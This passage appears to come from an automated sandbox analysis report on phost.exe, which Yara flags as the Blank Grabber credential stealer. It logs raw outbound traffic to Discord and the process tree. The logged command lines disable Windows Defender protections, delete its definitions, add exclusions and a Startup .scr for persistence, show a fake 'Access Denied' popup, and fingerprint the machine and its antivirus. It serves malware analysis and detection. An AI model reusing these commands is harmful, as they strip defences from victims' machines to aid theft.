2024-12-13 07:42:29 UTC	16384	OUT	Data Raw: ed 0e 50 1f 01 59 1f ed 0a 9c 73 c6 96 5d a0 02 38 4c ad 84 ec 3b cc 61 e3 16 02 1f 0f 5d 4c 76 cf 68 22 5c fb f1 e6 40 3c ea c2 1f b3 05 4f 4d 55 22 00 65 9d f8 e0 3a ca 69 f3 a1 ac 65 7b 35 02 73 88 cc fe 22 2b 13 f1 77 d3 5f fe 45 81 13 c9 ed b1 6c c2 5a c4 03 5a 4e 3c d0 4a 2b 6c 72 0c 21 c1 70 11 00 9f 52 32 0e 89 48 57 7e a5 95 93 6e 11 b9 50 4d 19 e4 f6 87 76 50 8c ef e1 ce 5f 6b 16 2a 40 ec e8 e0 2d b8 52 64 e4 88 6d 9f 55 a9 c1 51 5f a8 d9 c2 5a 63 f9 38 bf a4 f0 82 2d f9 e2 72 83 d9 6c 3b 0c 08 9a ea f5 a1 0d 53 83 af e3 0c 85 35 34 2d 5a ce bf fd 44 9b dc fe cd 61 04 1a 42 4d 02 c6 ac 43 27 1e 66 41 b3 4e 1f 4c 3f e7 7c 64 15 ad 48 12 93 87 7d 94 48 00 e5 00 59 d3 d0 d6 29 ff 7a 88 78 e7 03 d3 77 cc 99 bf 63 93 66 60 ec 1f 20 a6 de ca b0 f8 5d Data Ascii: PYs]8L;a]Lvh"\@<OMU"e:ie{5s"+w_ElZZN<J+lr!pR2HW~nPMvP_k*@-RdmUQ_Zc8-rl;S54-ZDaBMC'fANL?\|dH}HY)zxwcf` ]
2024-12-13 07:42:29 UTC	16384	OUT	Data Raw: 8d f6 b4 f2 ca 1f 34 cf f9 d2 d7 dd 51 fb 46 68 34 10 c4 3e 04 79 56 ae 1b bb 29 9c ff 91 99 d3 5e 27 bc 6d 2c 22 ad 7f 5e 82 1b 18 66 81 d0 0b 82 ca ca 17 33 6b ff f2 f0 8b 62 d8 7c 1b 55 f3 cc 23 d6 81 64 e9 fe 7f 92 d5 6b 26 59 94 bf 7e 75 51 91 ea 77 17 c7 30 e6 d7 fc 45 ab 88 9c c6 65 e2 ec 7b 90 63 e6 04 11 0f ca 19 6b 20 0b 04 1c b8 bc 8b 5b d8 cd 81 87 a8 f6 33 81 60 68 b8 78 b0 bc e1 93 22 d6 82 c2 2c 32 ef 3d bf 10 11 d9 10 ea 9e 8d 33 f6 6f 2d bd ab 11 c9 0b 5d d5 c1 27 18 bb 44 ae 7d ce d6 31 71 44 df 81 82 54 b0 b0 44 4d 56 34 9d 56 7f 74 a7 2c f2 ab d4 d3 8b 4d f2 a0 3d 41 f0 b8 d8 4e b8 38 5a 1c cc ff bc 1d 80 10 aa c9 fc 3f 80 f4 da 7f cf a9 7d 94 2b b5 a8 8e 16 d6 2f f1 d8 c2 8a bf cf 11 00 5a 75 a7 68 79 a6 23 d8 db 8d 26 de 85 76 24 64 Data Ascii: 4QFh4>yV)^'m,"^f3kb\|U#dk&Y~uQw0Ee{ck [3`hx",2=3o-]'D}1qDTDMV4Vt,M=AN8Z?}+/Zuhy#&v$d
2024-12-13 07:42:29 UTC	16384	OUT	Data Raw: 72 6b 0f 4c 10 aa 3d 5a 6c a0 f8 6c 5b fa eb 8e 06 13 49 2a 5d 2f ae 4d 5f 68 58 5c 14 07 b0 42 40 be f8 b3 75 0f 67 6b d9 7c 3f 20 c4 3e 5c c5 be 38 d2 e5 99 d8 17 7a a5 c4 90 f6 47 96 16 20 47 05 17 e2 58 ea 28 82 2e c6 cd fd 8b 40 62 c9 d2 bb 77 f9 56 68 7e 7e c2 b2 3a d6 ce 09 d4 1e 41 81 64 fb af 89 99 fa ed e7 b4 39 d3 70 15 b2 ca 17 a5 cd ea 9d a2 8c ed 83 39 3b 06 0f e9 8e 16 72 47 9a 95 79 56 bf a5 2b ce 6a 46 8d ca 33 1f ea 63 ce 30 1c 0a 90 37 a6 eb f6 53 8e 1e ab 1c d5 61 a1 57 15 e7 c0 39 93 c4 24 e7 50 94 64 94 f3 f6 86 29 64 23 65 ed 85 ef ec 7e 0e 9c e3 d7 5d 9f 98 3b b7 1b 41 88 c9 62 40 41 97 36 e5 03 54 14 62 90 a5 5b c6 ee 4e c4 3a a0 1c 68 71 27 05 58 9c 11 96 d8 bc 5b 01 47 ee 39 3c 48 35 84 bf 0a 40 18 0d 69 92 7b f1 4c 3d bf 09 30 Data Ascii: rkL=Zll[I*]/M_hX\B@ugk\|? >\8zG GX(.@bwVh~~:Ad9p9;rGyV+jF3c07SaW9$Pd)d#e~];Ab@A6Tb[N:hq'X[G9<H5@i{L=0
2024-12-13 07:42:29 UTC	16384	OUT	Data Raw: 8d 4c cf 9a 89 52 32 14 33 0b 8b 9a 88 49 ec e9 06 63 ee a8 a2 98 80 22 07 51 8d 2f 59 62 89 38 3a eb a5 bc fd e7 fc f8 cb f5 7c 2a 07 5c ad de 16 3b 8f 00 96 28 25 b9 d3 47 a4 ca c9 79 0e 01 d0 80 b2 a8 ff 8e 26 c8 e2 5f 98 ee 6a f6 f7 fa 02 da 8d d3 da 2f ed 37 8b 80 66 d2 31 84 1f 14 d4 0b 29 fe 70 f3 c3 68 02 99 99 73 de 5f c9 f9 f6 18 0a a8 f4 08 b2 63 5a 03 de 01 ef db 67 c4 99 60 26 4e 9c 08 67 91 11 45 b3 3c 10 5c d8 5f d7 af 5f 83 48 b7 28 cb 72 02 36 ea 29 b9 4c 42 6f e9 9a da 3d 8b fb dc 72 5c 16 35 18 bb ba 8c f6 6a 71 06 dd 9e a4 91 f8 50 9b 91 4d 45 00 a2 d7 13 13 30 ce 17 8b 0a 13 7d 75 0b 89 61 ab f4 7d aa f4 61 55 33 d6 67 7e 01 e0 53 e9 26 d0 7f 9c d8 45 29 a1 9e 3c e9 14 7c 10 be ec d2 99 bf f8 c5 10 9c d5 2e 38 2b 81 bd e0 07 cf 2c da Data Ascii: LR23Ic"Q/Yb8:\|*\;(%Gy&_j/7f1)phs_cZg`&NgE<\__H(r6)LBo=r\5jqPME0}ua}aU3g~S&E)<\|.8+,
2024-12-13 07:42:31 UTC	1257	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 07:42:31 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1734075752 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bba3f1%2FZudwJQkFnKMdEqfZPnm6iBU18h3o3V9HzDakAlD5TEPANc%2BJkkp4mRZbicFS%2BglfWhSxd5p311G2JhLOYuxaDo7M3Dq5SOiR%2BQaH2o1Dt9emz1wTDcHLh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=d7c98e932c69185b4fd952897188f4a54139cb30-1734075751; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=E0fT_eR75aZoCbniOOZ.Jl5rOKtvPVKzo2aCeNNnf0A-1734075751127-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8f14515d1ed40cb2-EWR

Target ID:	0
Start time:	02:41:41
Start date:	13/12/2024
Path:	C:\Users\user\Desktop\phost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\phost.exe"
Imagebase:	0x7ff62cc70000
File size:	7'832'204 bytes
MD5 hash:	8C43BF4445CAC5FA025B9DFD07517B6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1680237831.000001C32AC85000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1680237831.000001C32AC83000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:41:41
Start date:	13/12/2024
Path:	C:\Users\user\Desktop\phost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\phost.exe"
Imagebase:	0x7ff62cc70000
File size:	7'832'204 bytes
MD5 hash:	8C43BF4445CAC5FA025B9DFD07517B6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1816470539.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1702313330.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1864030272.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1702090319.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2178616618.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.2170059092.000001AE1D7B9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.2166479596.000001AE1E122000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1704441144.000001AE1D329000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.2173409124.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.2175138187.000001AE1D7E2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1885946451.000001AE1D336000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1848757509.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2176893974.000001AE1D044000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.2169952863.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.2172415408.000001AE1D7E1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2177462355.000001AE1D338000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()""
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Verify your permission and try again.', 0, 'Access Denied', 48+16);close()"
Imagebase:	0x7ff6e9de0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff606630000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:41:44
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff6c9a10000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:41:47
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:41:47
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:41:48
Start date:	13/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Imagebase:	0x7ff734040000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:41:48
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	02:41:48
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:41:48
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:41:48
Start date:	13/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Imagebase:	0x7ff734040000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:41:49
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:41:49
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:41:49
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff6c9a10000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:41:51
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7948, Parent PID: 7936

General

Target ID:	29
Start time:	02:41:51
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	02:41:51
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff6c9a10000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:41:52
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:41:52
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:41:52
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7192, Parent PID: 3444

General

Target ID:	35
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7184, Parent PID: 7208

General

Target ID:	36
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	02:41:55
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff6ccf90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
